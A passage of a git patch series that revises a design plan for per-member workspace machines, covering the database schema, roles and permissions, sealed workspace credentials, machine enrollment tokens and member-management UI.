tab strip's "+" | spawns a real session via the launcher | +| `.s` row: `.g` gutter · `.s__t` title · `.s__a` time — "never more" | gutter = tab-type glyph; title = tab title; `.s__a` stays empty (tabs have no clock) | gutter = empty for own / face for others; `.s__a` = time, green when live | +| `.asleep` pane | not rendered; workspace `creating`/`error` states keep their existing main-pane copy | not rendered (D3: no sleep state) | +| launcher pane ("What should we build?") | deferred — it creates sessions | ships with Build 2 | + +A row click activates that tab in the tab strip; a strip click switches +the workspace. Non-workspace pages (Drive, settings) keep the strip and +use the remaining width. The Templates and Recipes nav rows die with the +template concept (Recipes is already hidden, #103). + +**Open mapping to confirm:** the mockup's `.rhead .sub` shows the +workspace RAM. Per-member machines have no single RAM figure, and D3 +hides machines. The slot stays; the feed is a product call. **Order of work** (from the ground-truth survey): @@ -377,14 +386,8 @@ icon strip (`WorkspaceRailStrip`), and the mobile drawer semantics. 2. Split `CloudApp.tsx` into rail container, work-pane container, route switch, and dialog stack. This is the first commit, before visuals. 3. Migrate the ~20 class-selector test assertions to role/label queries. -4. Build Strip and Rail as new components; delete `DriveRail`; rewire the - 8 `railFor` call sites. Shell grid becomes - `48px 252px minmax(0,1fr) auto`. - -**What this buys Build 2:** when sessions become objects, the rail swaps -its data source from `webapp_state` tabs to `agent_sessions` rows and -gains the clock, the live state, the owner gutter, and visibility — with -no further layout change. +4. Build Strip and Rail as new components against the mockup; delete + `DriveRail`; rewire the 8 `railFor` call sites. ## 7. Builds (revised) From 13b13bbb966bcd1d841259326c096df61df15509 Mon Sep 17 00:00:00 2001 From: pythonlearner1025 Date: Fri, 28 Aug 2026 21:01:26 +0000 Subject: [PATCH 07/43] docs(plans): drop the invite concept from the workspace model Workspace members are added directly from active org members, and the machine allocates immediately on add (auto_provision default on). The machines table keys by membership only; invite_workspaces is gone. Org invites stay an org concern, out of scope. Add a terminology note: machine (durable object) / vm (provider incarnation) / box (guest runtime). Co-Authored-By: Claude Fable 5 --- plans/MEMBER-MACHINES.md | 104 +++++++++++++++++---------------------- 1 file changed, 46 insertions(+), 58 deletions(-) diff --git a/plans/MEMBER-MACHINES.md b/plans/MEMBER-MACHINES.md index a8b06a1a..29d086dd 100644 --- a/plans/MEMBER-MACHINES.md +++ b/plans/MEMBER-MACHINES.md @@ -16,9 +16,11 @@ org ## 0. The idea -A workspace works like a Discord server. Members are invited to it with a -role. Each member gets one always-on machine, sized by the workspace's -machine type, provisioned when the invite is sent, destroyed when they leave. +A workspace works like a Discord server. A workspace admin adds org members +to it with a role — only existing org members; the org roster grows through +the org's own invite system, which this plan does not touch. Each member +gets one always-on machine, provisioned the moment they are added, destroyed +when they leave. Sessions inherit the workspace's agent rules, drive, and credentials. Machines never appear as a user decision — only in workspace administration. @@ -45,7 +47,7 @@ workspaces ( name TEXT NOT NULL, owner_membership_id TEXT NOT NULL REFERENCES memberships(id), -- creator; first admin default_machine_type_id TEXT NOT NULL, -- a default, never a restriction (§1a) - auto_provision INTEGER NOT NULL DEFAULT 1, -- provision + start VM on invite + auto_provision INTEGER NOT NULL DEFAULT 1, -- provision + start machine on member add environment TEXT, -- existing shape (0017) agent_rule_id TEXT REFERENCES agent_rules(id), created_at INTEGER NOT NULL, @@ -80,9 +82,17 @@ workspace-admin powers — see the matrix in §3. ### machines — one VM per (workspace, member) The machines table takes every VM column the workspace row loses. A machine -belongs to a workspace and to exactly one of: a membership (after -redemption) or an invite (between invite creation and redemption — no -membership row exists yet, so the invite is the key). +belongs to a workspace and to a membership — always. Workspace members are +org members, so the membership row exists before the machine does. + +**Terminology.** The codebase mixes three words, each with its own layer, +and this plan keeps all three: a **machine** is the durable per-member +object this table defines (the word already exists user-facing as "machine +type"); a **vm** is the provider-level incarnation (`vm_id`, `createVm`, +`VmProvider`, `vm_limit`); a **box** is the enrolled guest runtime on it +(the `boxes` row, the box packages, the box credential). One machine has at +most one live vm and one box at a time. `boxes.machine_id` replaces +`boxes.workspace_id`. **The volume is the durable machine; the VM is an incarnation.** Machine state is volume-backed (#88), so the VM fields are replaceable while the @@ -94,8 +104,7 @@ volume, and creates a new VM of the new type. machines ( id TEXT PRIMARY KEY, workspace_id TEXT NOT NULL REFERENCES workspaces(id), - membership_id TEXT REFERENCES memberships(id), - invite_id TEXT REFERENCES invites(id), + membership_id TEXT NOT NULL REFERENCES memberships(id), state TEXT NOT NULL CHECK (state IN ('provisioning','running','stopped','error', 'destroying','destroyed')), @@ -109,7 +118,6 @@ machines ( error TEXT, created_at INTEGER NOT NULL, updated_at INTEGER NOT NULL, - CHECK ((membership_id IS NULL) <> (invite_id IS NULL)), UNIQUE (workspace_id, membership_id) ) ``` @@ -125,7 +133,7 @@ The workspace holds only a **default**. The model must never restrict which types a workspace can hold. Three consequences: 1. At provision, a machine takes an explicit type when one is given (per - member at create or invite), else the workspace default. + member at create or add), else the workspace default. 2. A machine's type is mutable. `SetMachineType` destroys the VM, keeps the volume, and provisions a new VM of the new type on the same volume. The member's disk state survives; running sessions restart. @@ -138,22 +146,6 @@ location. A cross-location change needs a volume move — deferred (§5). Automatic resize on pressure is also deferred; `SetMachineType` is the manual path until then. -### invite_workspaces — what an invite grants - -Invites stay org-scoped (they must: the user does not exist yet). An invite -carries workspace assignments. Redemption creates the `workspace_members` -rows and re-keys each invite-held machine to the new membership. - -```sql -invite_workspaces ( - invite_id TEXT NOT NULL REFERENCES invites(id), - workspace_id TEXT NOT NULL REFERENCES workspaces(id), - role TEXT NOT NULL CHECK (role IN ('admin','editor','viewer')), - machine_type_id TEXT, -- NULL = workspace default (§1a) - PRIMARY KEY (invite_id, workspace_id) -) -``` - ### workspace_credentials — the statics the workspace adds Sealed static keys, scoped to the workspace, managed by the **org admin** in @@ -190,8 +182,7 @@ interface MachineView { state: MachineState; machineTypeId: string; // this machine's type; workspace holds only a default volumeId: string | null; // the durable half; survives SetMachineType - membershipId: string | null; // null while invite-held - inviteId: string | null; + membershipId: string; createdAt: number; updatedAt: number; } @@ -224,10 +215,9 @@ interface CreateWorkspaceRequest { name: string; defaultMachineTypeId: string; autoProvision?: boolean; // default true - members?: { membershipId?: string; email?: string; role: WorkspaceRole; + members?: { membershipId: string; role: WorkspaceRole; machineTypeId?: string }[]; - // membershipId: existing org member, added directly - // email: creates an org invite + invite_workspaces row + // existing org members only, added immediately // machineTypeId: per-member override of the default environment?: Record; agentRuleId?: string; @@ -242,27 +232,26 @@ interface CreateWorkspaceRequest { ## 2. Lifecycle rules -1. **Invite sent** (existing member assigned, or email invite created): if - `auto_provision = 1`, a machine row is created (invite-keyed for email - invites, membership-keyed for existing members) and provisioned to - `running`. If `auto_provision = 0`, no machine; it provisions on first - open or by workspace-admin action. -2. **Invite redeemed**: `workspace_members` rows created from - `invite_workspaces`; invite-held machines re-key to the membership. -3. **Viewer role**: no machine, ever. Viewers watch sessions; they do not +1. **Member added** (workspace admin picks an active org member, at create + or later): the `workspace_members` row is written immediately. If + `auto_provision = 1` (the default), a machine row is created in the same + act and provisions to `running`. If `auto_provision = 0`, no machine + yet; it provisions on first open or by workspace-admin action. +2. **Viewer role**: no machine, ever. Viewers watch sessions; they do not run them. -4. **Member removed from workspace / leaves org**: their machines in that +3. **Member removed from workspace / leaves org**: their machines in that scope are destroyed after a grace snapshot; volume retention (existing 7-day sweep) covers restore. -5. **Unredeemed invite**: janitor destroys invite-held machines and expires - the invite after 14 days. -6. **Workspace deleted**: all machines destroy; the workspace row tombstones +4. **Workspace deleted**: all machines destroy; the workspace row tombstones after the last machine is gone. -7. **vm_limit** counts `machines` rows in live states; `vmsUsed` and the +5. **vm_limit** counts `machines` rows in live states; `vmsUsed` and the entitlements fixtures move to the same definition. -8. **SetMachineType**: destroy the VM, keep the volume, provision a new VM - of the new type, reattach. Sessions restart; disk state survives. Refuse - a cross-location type until the volume move lands (§5). +6. **SetMachineType**: destroy the VM incarnation, keep the volume, + provision the new type on the same volume. Sessions restart; disk state + survives. Refuse a cross-location type until the volume move lands (§5). +7. **Org invites are out of scope.** The org roster grows through the + existing org invite system. A new org member holds no machines until a + workspace admin adds them to a workspace. ## 3. Permissions @@ -271,7 +260,7 @@ interface CreateWorkspaceRequest { | Create workspace | ✓ | — | — | — | | Workspace settings (name, machine type, auto_provision, config) | ✓ | ✓ | — | — | | Manage member roles in the workspace | ✓ | ✓ | — | — | -| Invite / add / remove workspace members | ✓ | ✓ | — | — | +| Add / remove workspace members (active org members only) | ✓ | ✓ | — | — | | Manage members' machine lifecycle (provision, stop, start, recreate, destroy) | ✓ | ✓ | own stop/start | — | | Change a machine's type, keep its volume (SetMachineType) | ✓ | ✓ | — | — | | Workspace credentials: add, rotate, revoke | ✓ | — | — | — | @@ -324,8 +313,8 @@ becomes the workspace administration surface. Tabs: 1. **Members** — one row per member: name, role selector (WS admin), machine state chip, machine type selector (SetMachineType, with a "keeps the disk" note), and lifecycle controls (provision / stop / start / recreate - / destroy) per the matrix. Invite control at the top, with a per-member - type override. + / destroy) per the matrix. An add-member control at the top — a picker + over active org members — with a per-member type override. 2. **Credentials** — workspace credential list: name, label, created-by, created-at; add/rotate/revoke for org admins. Values are write-only. 3. **Settings** — name, machine type (with "applies to new machines" note), @@ -392,13 +381,12 @@ hides machines. The slot stays; the feed is a product call. ## 7. Builds (revised) **Build 1 — workspaces, members, machines.** The schema in §1 minus -credentials; migration off the template tables; invite assignments; -provision-on-invite with the auto_provision toggle; destroy-on-leave; -janitors re-pointed at `machines`; `vm_limit`/`vmsUsed` re-based; the -details-page Members tab. Done when: an invited member's first open lands -on a running machine, a removed member's machine destroys with a grace -snapshot, and a WS admin can stop and start any member machine from the -page. +credentials; migration off the template tables; provision-on-add with the +auto_provision toggle; destroy-on-leave; janitors re-pointed at `machines`; +`vm_limit`/`vmsUsed` re-based; the details-page Members tab. Done when: an +added member's first open lands on a running machine, a removed member's +machine destroys with a grace snapshot, and a WS admin can stop and start +any member machine from the page. **Build 2 — sessions as objects.** Control-plane `agent_sessions`; promote the ACP actor. The rail shell already exists via the sidecar (§6a); this From 222a4e70e8d1f3b8c47967161ef4fc27bbbcb171 Mon Sep 17 00:00:00 2001 From: pythonlearner1025 Date: Fri, 28 Aug 2026 21:05:39 +0000 Subject: [PATCH 08/43] =?UTF-8?q?docs(plans):=20unify=20boxes=20into=20mac?= =?UTF-8?q?hines=20=E2=80=94=20one=20row,=20no=20stored=20principal?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Delete the boxes table. Phone-home enrolls against the machine row and mints machine_token_families stamped with the vm they were minted for. The acting principal derives from machines.membership_id at call time, so the D4 misattribution becomes structurally impossible. Co-Authored-By: Claude Fable 5 --- plans/MEMBER-MACHINES.md | 43 +++++++++++++++++++++++++++++----------- 1 file changed, 31 insertions(+), 12 deletions(-) diff --git a/plans/MEMBER-MACHINES.md b/plans/MEMBER-MACHINES.md index 29d086dd..8f9d95b0 100644 --- a/plans/MEMBER-MACHINES.md +++ b/plans/MEMBER-MACHINES.md @@ -85,14 +85,34 @@ The machines table takes every VM column the workspace row loses. A machine belongs to a workspace and to a membership — always. Workspace members are org members, so the membership row exists before the machine does. -**Terminology.** The codebase mixes three words, each with its own layer, -and this plan keeps all three: a **machine** is the durable per-member -object this table defines (the word already exists user-facing as "machine -type"); a **vm** is the provider-level incarnation (`vm_id`, `createVm`, -`VmProvider`, `vm_limit`); a **box** is the enrolled guest runtime on it -(the `boxes` row, the box packages, the box credential). One machine has at -most one live vm and one box at a time. `boxes.machine_id` replaces -`boxes.workspace_id`. +**Terminology.** A **machine** is the durable per-member object this table +defines (the word already exists user-facing as "machine type"). A **vm** +is the provider-level incarnation (`vm_id`, `createVm`, `VmProvider`, +`vm_limit`). A **box** stays a word for the guest runtime — the packages, +the image, the gateway — but **the `boxes` table is deleted**: the machine +row is the guest's identity. There is one row, not two. + +**Enrollment folds into the machine.** Today phone-home inserts a `boxes` +row plus a token family, and `boxes.principal_id` stores the workspace +owner — the stored principal that causes the D4 misattribution. Unified: + +- Phone-home verifies `machines.phone_home_hash`, mints a token family in + `machine_token_families` (the renamed `box_token_families`, keyed by + `machine_id` and stamped with the `vm_id` it was minted for), and flips + the machine to `running`. The capability re-arms at every vm provision. +- The guest calls the control plane as its machine. `boxCaller` resolves + the acting principal from `machines.membership_id` at call time — no + stored principal exists to go stale. D4 stops being a fix and becomes + structure. +- `credential_leases.box_id` becomes `machine_id`; `GET /boxes/:id/feed` + becomes `GET /machines/:id/feed`. +- A vm destroy (stop, `SetMachineType`, recreate) revokes the machine's + token families; the stamped `vm_id` fences any stale guest that + outlives its incarnation. The next boot enrolls fresh against the same + machine row. + +(`broker_boxes` is the broker's own fleet table and is unrelated; it +stays.) **The volume is the durable machine; the VM is an incarnation.** Machine state is volume-backed (#88), so the VM fields are replaceable while the @@ -122,10 +142,9 @@ machines ( ) ``` -`boxes.workspace_id UNIQUE` becomes `boxes.machine_id UNIQUE`. The box -principal is the machine's member, not the workspace owner — this is the D4 -identity fix, and the change site is known (`workspaces.ts:1252-1256`, -`mint.ts:243`). +The change sites for the old stored-principal path are known +(`workspaces.ts:1252-1256`, `mint.ts:243`); both now read the machine row +instead. ### §1a Machine types are per machine, not per workspace From a4fe98238a37053b6b64c9c65654da84d1d9f620 Mon Sep 17 00:00:00 2001 From: pythonlearner1025 Date: Fri, 28 Aug 2026 21:15:07 +0000 Subject: [PATCH 09/43] docs(plans): workspace admin owns workspace credentials; member/type UI MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Move workspace-credential management from org admin to workspace admin. Restate the role scopes with a per-role summary and a cleaner matrix (org admin passes through implicit reach). Add §6b: MachineTypeSelect and WorkspaceMembersEditor, reusing MachineCatalogGrid, the ShareWorkspaceDialog people-search pattern, and WebAppSelectMenu. Co-Authored-By: Claude Fable 5 --- plans/MEMBER-MACHINES.md | 102 ++++++++++++++++++++++++++++++--------- 1 file changed, 80 insertions(+), 22 deletions(-) diff --git a/plans/MEMBER-MACHINES.md b/plans/MEMBER-MACHINES.md index 8f9d95b0..e791906a 100644 --- a/plans/MEMBER-MACHINES.md +++ b/plans/MEMBER-MACHINES.md @@ -167,9 +167,10 @@ manual path until then. ### workspace_credentials — the statics the workspace adds -Sealed static keys, scoped to the workspace, managed by the **org admin** in -workspace settings (and at create time). Values are AES-256-GCM sealed with -the existing `CRED_MASTER_KEY`, AAD = `wscred::`. Note: +Sealed static keys, scoped to the workspace, managed by the **workspace +admin** in workspace settings (and at create time). Values are AES-256-GCM +sealed with the existing `CRED_MASTER_KEY`, AAD = +`wscred::`. Note: this deliberately reverses migration 0028's ruling ("ad-hoc secrets are a workspace file"); the reversal is intended and recorded here. @@ -244,7 +245,7 @@ interface CreateWorkspaceRequest { credentials?: { name: string; label?: string; value: string; delivery: 'env' | 'header'; envName?: string }[]; // create-time only path where a value is sent; - // org-admin caller required when present + // the creator is the first workspace admin cloneFromWorkspaceId?: string; // copy config (never credential values, never members) } ``` @@ -274,23 +275,35 @@ interface CreateWorkspaceRequest { ## 3. Permissions -| Action | Org admin | WS admin | Editor | Viewer | -| --- | --- | --- | --- | --- | -| Create workspace | ✓ | — | — | — | -| Workspace settings (name, machine type, auto_provision, config) | ✓ | ✓ | — | — | -| Manage member roles in the workspace | ✓ | ✓ | — | — | -| Add / remove workspace members (active org members only) | ✓ | ✓ | — | — | -| Manage members' machine lifecycle (provision, stop, start, recreate, destroy) | ✓ | ✓ | own stop/start | — | -| Change a machine's type, keep its volume (SetMachineType) | ✓ | ✓ | — | — | -| Workspace credentials: add, rotate, revoke | ✓ | — | — | — | -| Workspace credentials: use in sessions | ✓ | ✓ | ✓ | — | -| Run sessions on own machine | ✓ | ✓ | ✓ | — | -| Watch workspace-visible sessions | ✓ | ✓ | ✓ | ✓ | -| Delete workspace | ✓ | ✓ | — | — | - -Workspace admin and org admin are distinct on purpose: the workspace admin -runs the team (roles, machines); the org admin holds the org's secrets and -billing. Org-admin implicit access remains, as today. +Three workspace roles, one implicit reach. In one line each: + +- **Workspace admin** runs the workspace: members, roles, machines, + settings, workspace credentials. The creator is the first admin. +- **Editor** works in it: own machine, own sessions, credential use, + drive write. +- **Viewer** watches: workspace-visible sessions and drive read. No + machine, no sessions of their own, no credential use. +- **Org admin** is not a workspace role. Org admins hold implicit + workspace-admin reach in every workspace of the org (today's invariant), + plus the org-only concerns: the org roster and invites, billing, the org + compute credential, and workspace creation. + +| Action | WS admin | Editor | Viewer | +| --- | --- | --- | --- | +| Workspace settings (name, default type, auto_provision, environment, rules, repos) | ✓ | — | — | +| Add / remove workspace members (active org members only) | ✓ | — | — | +| Manage member roles | ✓ | — | — | +| Machine lifecycle on any member machine (provision, stop, start, recreate, destroy) | ✓ | own stop/start | — | +| SetMachineType on any member machine (keep volume) | ✓ | — | — | +| Workspace credentials: add, rotate, revoke | ✓ | — | — | +| Workspace credentials: use in sessions | ✓ | ✓ | — | +| Run sessions on own machine | ✓ | ✓ | — | +| Watch workspace-visible sessions | ✓ | ✓ | ✓ | +| Drive: write / read | ✓ / ✓ | ✓ / ✓ | — / ✓ | +| Delete workspace | ✓ | — | — | + +Org admins pass every ✓ in the WS-admin column through implicit reach. +Workspace creation is org-admin only. ## 4. Credentials — two planes, one resolution rule @@ -335,7 +348,8 @@ becomes the workspace administration surface. Tabs: / destroy) per the matrix. An add-member control at the top — a picker over active org members — with a per-member type override. 2. **Credentials** — workspace credential list: name, label, created-by, - created-at; add/rotate/revoke for org admins. Values are write-only. + created-at; add/rotate/revoke for workspace admins. Values are + write-only. 3. **Settings** — name, machine type (with "applies to new machines" note), auto_provision toggle, environment, agent rules, repos, clone action, delete. @@ -397,6 +411,50 @@ hides machines. The slot stays; the feed is a product call. 4. Build Strip and Rail as new components against the mockup; delete `DriveRail`; rewire the 8 `railFor` call sites. +## 6b. Member and machine-type configuration UI + +Per-member machine types (§1a) need UI in two places: workspace create and +workspace edit. The design reuses what exists; two components are new. +Implementation ships with Build 1. + +**Existing parts to reuse** (from the ground-truth survey): + +- `MachineCatalogGrid` — the radio-card type grid, with `groupMachineTypes` + (provider + location groups) and `monthlyPriceLabel`. Stays the picker + for the **workspace default**. +- `ShareWorkspaceDialog` — its people search over org members, suggestion + list, and per-person role selects are exactly the member-picker pattern. + The pattern is lifted; the dialog itself retires with `workspace_grants`. +- `WebAppSelectMenu` — the listbox popover (outside-click, Escape, focus + return). Base for the compact type select. +- `DriveAvatar` — member avatars in rows. + +**New component 1 — `MachineTypeSelect`.** A compact select on +`WebAppSelectMenu`. One option per machine type: name, vCPU/RAM, monthly +price, grouped by provider + location like the grid. First option: +"Workspace default ()". Two contexts gate its option list: at add +time, all locations; on a live machine (`SetMachineType`), only types in +the volume's location, others visible but disabled with a "volume is in +" note (§1a constraint). + +**New component 2 — `WorkspaceMembersEditor`.** One list, two modes. +Row = avatar · name · role select (`admin | editor | viewer`) · +`MachineTypeSelect` · remove. A viewer row hides the type select (no +machine, §2). Header = the lifted people search over active org members, +plus Add. + +- *Draft mode* (inside `CreateWorkspaceDialog`): edits local state only; + submit sends `CreateWorkspaceRequest.members[]`. The creator appears + pinned as the first workspace admin. +- *Live mode* (details-page Members tab, §6): each edit calls the API at + once. Rows gain the machine state chip and the lifecycle menu from §6; + the type select performs `SetMachineType` with a "keeps the disk" + confirmation. + +`CreateWorkspaceDialog` gains a Members section holding the draft-mode +editor, below the machine-type grid (which now labels itself "Default +machine type"). The details page embeds live mode. Nothing else changes. + ## 7. Builds (revised) **Build 1 — workspaces, members, machines.** The schema in §1 minus From e515c966a03958a3b18dbd7b1ab39fc5e5229dc1 Mon Sep 17 00:00:00 2001 From: pythonlearner1025 Date: Fri, 28 Aug 2026 21:18:05 +0000 Subject: [PATCH 10/43] docs(plans): rename workspace role editor to member; creation stays org-admin Roles are now admin | member | viewer. Add a naming note against the org memberships table. Workspace creation is org-admin only for now. Co-Authored-By: Claude Fable 5 --- plans/MEMBER-MACHINES.md | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/plans/MEMBER-MACHINES.md b/plans/MEMBER-MACHINES.md index e791906a..34dbe3fc 100644 --- a/plans/MEMBER-MACHINES.md +++ b/plans/MEMBER-MACHINES.md @@ -9,7 +9,7 @@ UI mockup: `plans/mockups/session-rail.html`. org └─ workspace "engineering" ← its own template; nothing else is ├─ config: machine type · environment · agent rules · repos · credentials - ├─ workspace_members: (membership, role) role: admin | editor | viewer + ├─ workspace_members: (membership, role) role: admin | member | viewer ├─ machines: one VM per member, on by default └─ sessions (Build 2) ``` @@ -68,7 +68,7 @@ admin, with distinct powers (§3). workspace_members ( workspace_id TEXT NOT NULL REFERENCES workspaces(id), membership_id TEXT NOT NULL REFERENCES memberships(id), - role TEXT NOT NULL CHECK (role IN ('admin','editor','viewer')), + role TEXT NOT NULL CHECK (role IN ('admin','member','viewer')), added_by_membership_id TEXT REFERENCES memberships(id), added_at INTEGER NOT NULL, PRIMARY KEY (workspace_id, membership_id) @@ -193,7 +193,7 @@ workspace_credentials ( ### Wire types ```ts -type WorkspaceRole = 'admin' | 'editor' | 'viewer'; +type WorkspaceRole = 'admin' | 'member' | 'viewer'; type MachineState = 'provisioning' | 'running' | 'stopped' | 'error' | 'destroying' | 'destroyed'; @@ -279,7 +279,7 @@ Three workspace roles, one implicit reach. In one line each: - **Workspace admin** runs the workspace: members, roles, machines, settings, workspace credentials. The creator is the first admin. -- **Editor** works in it: own machine, own sessions, credential use, +- **Member** works in it: own machine, own sessions, credential use, drive write. - **Viewer** watches: workspace-visible sessions and drive read. No machine, no sessions of their own, no credential use. @@ -288,7 +288,7 @@ Three workspace roles, one implicit reach. In one line each: plus the org-only concerns: the org roster and invites, billing, the org compute credential, and workspace creation. -| Action | WS admin | Editor | Viewer | +| Action | WS admin | Member | Viewer | | --- | --- | --- | --- | | Workspace settings (name, default type, auto_provision, environment, rules, repos) | ✓ | — | — | | Add / remove workspace members (active org members only) | ✓ | — | — | @@ -303,7 +303,11 @@ Three workspace roles, one implicit reach. In one line each: | Delete workspace | ✓ | — | — | Org admins pass every ✓ in the WS-admin column through implicit reach. -Workspace creation is org-admin only. +Workspace creation is org-admin only for now; a later revision can open it. + +Naming note: the workspace role `member` and the org `memberships` table +are different things. A person is an org member through `memberships`, and +holds a workspace role (`admin | member | viewer`) per workspace. ## 4. Credentials — two planes, one resolution rule @@ -438,7 +442,7 @@ the volume's location, others visible but disabled with a "volume is in " note (§1a constraint). **New component 2 — `WorkspaceMembersEditor`.** One list, two modes. -Row = avatar · name · role select (`admin | editor | viewer`) · +Row = avatar · name · role select (`admin | member | viewer`) · `MachineTypeSelect` · remove. A viewer row hides the type select (no machine, §2). Header = the lifted people search over active org members, plus Add. From 82bf9228357c567f1b8a753b11ffd278f52274c6 Mon Sep 17 00:00:00 2001 From: pythonlearner1025 Date: Fri, 28 Aug 2026 21:32:56 +0000 Subject: [PATCH 11/43] docs(plans): explain the two workspace-credential deliveries env rides the existing creds/env.d path, sealed and revocable; header is on-demand via blitz-cred with the recorded header shape, optionally proxy-custodied so the value never reaches the machine. Co-Authored-By: Claude Fable 5 --- plans/MEMBER-MACHINES.md | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/plans/MEMBER-MACHINES.md b/plans/MEMBER-MACHINES.md index 34dbe3fc..409fe4b6 100644 --- a/plans/MEMBER-MACHINES.md +++ b/plans/MEMBER-MACHINES.md @@ -190,6 +190,17 @@ workspace_credentials ( -- one live row per (workspace_id, name): partial unique index WHERE revoked_at IS NULL ``` +**The two deliveries map to mechanisms that exist.** `env` rides the +workspace-environment path (`creds/env.d/*.sh`, sourced by shells, merged +into chat turns): the value becomes an ambient variable named `env_name` on +every member machine — but sealed in D1 and removable, unlike today's +plaintext `workspaces.environment`. `header` is for HTTP API keys and is +on-demand: the agent asks via `blitz-cred get|env ` at use time, the +row records the header shape (the comment line `blitz-cred env` already +prints), and with proxy custody the machine holds only a revocable lease +token while the control plane swaps the real key into the header. Rule of +thumb: `env` for tools that read the environment, `header` for API calls. + ### Wire types ```ts From fc8e26d00f37f04f610c224b5bc2b1cd6d958f8f Mon Sep 17 00:00:00 2001 From: pythonlearner1025 Date: Fri, 28 Aug 2026 21:35:59 +0000 Subject: [PATCH 12/43] =?UTF-8?q?docs(plans):=20unify=20workspace=20creden?= =?UTF-8?q?tials=20=E2=80=94=20one=20sealed=20store,=20two=20reads?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit workspace_credentials replaces workspaces.environment. A row is an env var name plus a sealed value: exported ambiently through env.d, and served on demand by blitz-cred behind the personal-first rule. The delivery enum and header shape are gone. Co-Authored-By: Claude Fable 5 --- plans/MEMBER-MACHINES.md | 46 +++++++++++++++++++++------------------- 1 file changed, 24 insertions(+), 22 deletions(-) diff --git a/plans/MEMBER-MACHINES.md b/plans/MEMBER-MACHINES.md index 409fe4b6..56b86069 100644 --- a/plans/MEMBER-MACHINES.md +++ b/plans/MEMBER-MACHINES.md @@ -8,7 +8,7 @@ UI mockup: `plans/mockups/session-rail.html`. ``` org └─ workspace "engineering" ← its own template; nothing else is - ├─ config: machine type · environment · agent rules · repos · credentials + ├─ config: machine type · agent rules · repos · credentials (env) ├─ workspace_members: (membership, role) role: admin | member | viewer ├─ machines: one VM per member, on by default └─ sessions (Build 2) @@ -26,7 +26,7 @@ Machines never appear as a user decision — only in workspace administration. **The workspace is its own template.** There is no separate template object. A workspace *carries* the config a template used to carry — machine type, -environment, agent rules, repo list, workspace credentials — and "new +agent rules, repo list, workspace credentials — and "new workspace from existing" clones that config. The `workspace_templates`, `workspace_template_folders`, `workspace_template_repos`, and `workspace_template_connections` tables are deleted; recipes re-point their @@ -48,14 +48,14 @@ workspaces ( owner_membership_id TEXT NOT NULL REFERENCES memberships(id), -- creator; first admin default_machine_type_id TEXT NOT NULL, -- a default, never a restriction (§1a) auto_provision INTEGER NOT NULL DEFAULT 1, -- provision + start machine on member add - environment TEXT, -- existing shape (0017) agent_rule_id TEXT REFERENCES agent_rules(id), created_at INTEGER NOT NULL, updated_at INTEGER NOT NULL ) -- dropped from workspaces: phase, vm_id, volume_id, ssh_*, phone_home_*, -- tunnel_id/tunnel_hostname/dns_record_id, compute_credential_source, --- box_update_*, org_share_role (replaced by workspace_members) +-- box_update_*, org_share_role (replaced by workspace_members), +-- environment (replaced by workspace_credentials) ``` ### workspace_members — membership with a stored role @@ -178,11 +178,9 @@ workspace file"); the reversal is intended and recorded here. workspace_credentials ( id TEXT PRIMARY KEY, workspace_id TEXT NOT NULL REFERENCES workspaces(id), - name TEXT NOT NULL, -- 'stripe-test', 'sentry', ... + name TEXT NOT NULL, -- the env var name: STRIPE_API_KEY, ... label TEXT, ciphertext TEXT NOT NULL, - delivery TEXT NOT NULL CHECK (delivery IN ('env','header')), - env_name TEXT, -- when delivery = 'env' created_by_membership_id TEXT NOT NULL REFERENCES memberships(id), created_at INTEGER NOT NULL, updated_at INTEGER NOT NULL, revoked_at INTEGER @@ -190,16 +188,21 @@ workspace_credentials ( -- one live row per (workspace_id, name): partial unique index WHERE revoked_at IS NULL ``` -**The two deliveries map to mechanisms that exist.** `env` rides the -workspace-environment path (`creds/env.d/*.sh`, sourced by shells, merged -into chat turns): the value becomes an ambient variable named `env_name` on -every member machine — but sealed in D1 and removable, unlike today's -plaintext `workspaces.environment`. `header` is for HTTP API keys and is -on-demand: the agent asks via `blitz-cred get|env ` at use time, the -row records the header shape (the comment line `blitz-cred env` already -prints), and with proxy custody the machine holds only a revocable lease -token while the control plane swaps the real key into the header. Rule of -thumb: `env` for tools that read the environment, `header` for API calls. +**One store, two reads — this table replaces `workspaces.environment`.** +Today's two half-systems (plaintext workspace env vars; sealed but +org-scoped connections) unify here. A row is a name and a sealed value. + +1. *Ambient*: all live rows export as env vars on every member machine + through the existing `env.d` path. Programs and the agent read + `$STRIPE_API_KEY` like any variable. New sessions see changes at start; + running sessions keep their env — today's semantics, unchanged. +2. *On demand*: `blitz-cred get ` serves the same value, behind the + §4 resolution rule (personal grant first). + +An add is available at once: machines re-sync `env.d` (the rules-sync +pattern) and `blitz-cred` reads the store live. A revoke removes the row, +the file entry, and the value from every new session. There is no delivery +enum: one store, one name, both reads. ### Wire types @@ -250,11 +253,10 @@ interface CreateWorkspaceRequest { machineTypeId?: string }[]; // existing org members only, added immediately // machineTypeId: per-member override of the default - environment?: Record; agentRuleId?: string; repos?: string[]; - credentials?: { name: string; label?: string; value: string; - delivery: 'env' | 'header'; envName?: string }[]; + credentials?: { name: string; label?: string; value: string }[]; + // name is the env var name // create-time only path where a value is sent; // the creator is the first workspace admin cloneFromWorkspaceId?: string; // copy config (never credential values, never members) @@ -301,7 +303,7 @@ Three workspace roles, one implicit reach. In one line each: | Action | WS admin | Member | Viewer | | --- | --- | --- | --- | -| Workspace settings (name, default type, auto_provision, environment, rules, repos) | ✓ | — | — | +| Workspace settings (name, default type, auto_provision, rules, repos) | ✓ | — | — | | Add / remove workspace members (active org members only) | ✓ | — | — | | Manage member roles | ✓ | — | — | | Machine lifecycle on any member machine (provision, stop, start, recreate, destroy) | ✓ | own stop/start | — | @@ -366,7 +368,7 @@ becomes the workspace administration surface. Tabs: created-at; add/rotate/revoke for workspace admins. Values are write-only. 3. **Settings** — name, machine type (with "applies to new machines" note), - auto_provision toggle, environment, agent rules, repos, clone action, + auto_provision toggle, agent rules, repos, clone action, delete. Today's Compute/Storage panels collapse into the per-member machine rows; From 45c4d95dac6ed67880ce9f2c3ebcbe6973e3ad45 Mon Sep 17 00:00:00 2001 From: pythonlearner1025 Date: Fri, 28 Aug 2026 22:06:25 +0000 Subject: [PATCH 13/43] docs(plans): workspace credentials serve through 